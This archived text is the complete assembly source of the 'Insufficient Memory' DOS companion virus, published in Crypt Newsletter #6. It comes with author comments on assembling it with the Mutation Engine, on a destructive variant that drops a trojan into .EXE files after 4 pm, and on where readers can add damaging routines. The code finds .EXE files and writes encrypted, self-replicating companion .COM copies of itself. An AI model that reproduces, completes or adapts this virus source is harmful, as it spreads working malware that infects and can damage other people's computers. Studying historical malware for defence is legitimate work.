home *** CD-ROM | disk | FTP | other *** search
- ;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
- ;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
- ;confines itself to the current directory. To assemble with TASM 2.5, user
- ;must have complete MTE091B software package (including RND.OBJ,
- ;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
- ;issue of the Crypt Newsletter to assemble all proper
- ;components. Observant readers will notice INSUFF MEMO takes advantage of
- ;VCL 1.0 code as well as notation from the SARA virus. INSUFF MEMO is
- ;a non-threatening, unique example of an MtE-loaded companion virus -
- ;the only one in circulation, in fact.
- ;
- ;INSUFF2, included as a DEBUG script in this newsletter, is functionally
- ;identical to this virus. However, for those who 'require' a destructive
- ;program for their full enjoyment, it is loaded with a routine which
- ;simple checks the system time and branches to some 'dropper' code if
- ;after quitting time (4:00 pm). The 'dropper' reads from a data table
- ;and writes the NOIZ trojan to any .EXE in the current directory. By
- ;looking carefully at this code, several areas where 'potentially'
- ;destructive/nuisance routines can be added will suggest themselves.
- ;We do not include them for a number of reasons: 1) they are easy to
- ;come by in any number of books on assembly coding, the VCL 1.0 (an
- ;excellent source), or source code archives on mnay BBS's, and; 2)
- ;it allows you to get creative if you want and tinker (like I do all the
- ; time) with the basic layout of virus source.
- ;
- ;INSUFF3's source listing is modified to allow the virus to jump out
- ;of the current directory when all files in it are infected. The
- ;listing is publicly available at the BBS's listed at the end of the
- ;Crypt newsletter.
-
- .model tiny
- .radix 16
- .code
-
- extrn mut_engine: near
- extrn rnd_buf: word, data_top: near
-
- org 100
-
- start:
- call locadr
-
- reladr:
- db 'Insufficient memory'
-
- locadr:
- pop dx
- mov cl,4
- shr dx,cl
- sub dx,10
- mov cx,ds
- add cx,dx ;Calculate new CS
- mov dx,offset begin
- push cx dx
- retf
- begin:
- cld
- mov di,offset start
- push es di ;
- push cs ;A carry over from the DAV
- pop ds ;SARA virus, something of a curiosity
- ;in this companion virus
- mov dx,offset dta_buf ;Set DTA
- mov ah,1a
- int 21
- mov ax,3524 ;Hook INT 24, error handler
- int 21 ;see bottom of code
- push es bx
- mov dx,offset fail_err
- mov ax,2524
- int 21
-
- xor ax,ax ;Initialize random seed for MtE
- mov [rnd_buf],ax ;could be coded, mov cs:[rnd_buf],0
- push sp ;process necessary for generation of
- pop cx ;MtE encryption key - see MtE docs
- sub cx,sp ;for further notation
- add cx,4
- push cx
- mov dx,offset srchnam ;EXE file-mask for spawn-name search
- mov cl,3
- mov ah,4e ; DOS find first file function
-
- find_a_file:
- int 021h
- jc infection_done ; Exit if no files found
- jmp infect ; Infect the file!
- jnc infection_done ; Exit if no error
- findr: mov ah,04Fh ; DOS find next file function
- jmp find_a_file ; Try finding another file
-
-
- infection_done:
-
- mov ax,4C00h ;terminate
- int 21h
-
- infect:
- mov ah,02Fh ; DOS get DTA address function
- int 021h
- mov di,bx ; DI points to the DTA
-
- lea si,[di + 01Eh] ; SI points to file name
- mov dx,si ; DX points to file name, too
- mov di,offset spawn_name + 1; DI points to new name
- xor ah,ah ; AH holds character count
- transfer_loop:
- lodsb ; Load a character
- or al,al ; Is it a NULL?
- je transfer_end ; If so then leave the loop
- inc ah ; Add one to the character count
- stosb ; Save the byte in the buffer
- jmp short transfer_loop ; Repeat the loop
- transfer_end:
- mov byte ptr [spawn_name],ah; First byte holds char. count
- mov byte ptr [di],13 ; Make CR the final character
- mov di,dx ; DI points to file name
- xor ch,ch ;
- mov cl,ah ; CX holds length of filename
- mov al,'.' ; AL holds char. to search for
- repne scasb ; Search for a dot in the name
- mov word ptr [di],'OC' ; Store "CO" as first two bytes
- mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
-
- mov byte ptr [set_carry],0 ; Assume we'll fail
- mov ax,03D00h ; DOS open file function, r/o
- int 021h
- jnc findr ; File already exists, so leave
- mov byte ptr [set_carry],1 ; Success -- the file is OK
- mov ah,03Ch ; DOS create file function
- mov cx,00100111b ; CX holds file attributes (all)
- int 21h
- xchg bx,ax ; BX holds file handle
- push dx cx
- mov ax,offset data_top+0Fh
- mov cl,4
- shr ax,cl
- mov cx,cs
- add ax,cx
- mov es,ax
- mov dx,offset start ; DX points to start of virus
- mov cx,offset _DATA ; CX holds virus length for encryption
- push bp bx
- mov bp,0100h ;tells MtE decryption routine will
- xor si,si ;hand over control to where virus adds
- xor di,di ;itself to 'infected' file, in this case offset
- mov bl,0Fh ;0100h .. set si/di to 0, bl to 0Fh, all required
- mov ax,101 ;set bit-field in ax
- call mut_engine ;call the Mutation Engine to do its thing
- pop bx ax
- add ax,cx
- neg ax
- xor ah,ah
- add ax,cx
- mov ah,040h ;write encrypted virus to newly created file
- int 21h
- mov ah,03Eh ;close the file
- int 21h
- cmp byte ptr [set_carry],1
- jmp infection_done ;move to end game
-
-
-
- fail_err: ;Critical error handler
- mov al,3 ;prevents virus from producing
- iret ;messages on write-protected disks.
- ;Not handed back to machine when virus exits.
- srchnam db '*.EXE',0 ;File-mask for 'spawn-search.'
-
-
-
- .data
-
- dta_buf db 2bh dup(?) ; Buffer for DTA
- spawn_name db 12,12 dup (?),13 ; Name for next spawn
- set_carry db ? ; Set-carry-on-exit flag
-
- end start
-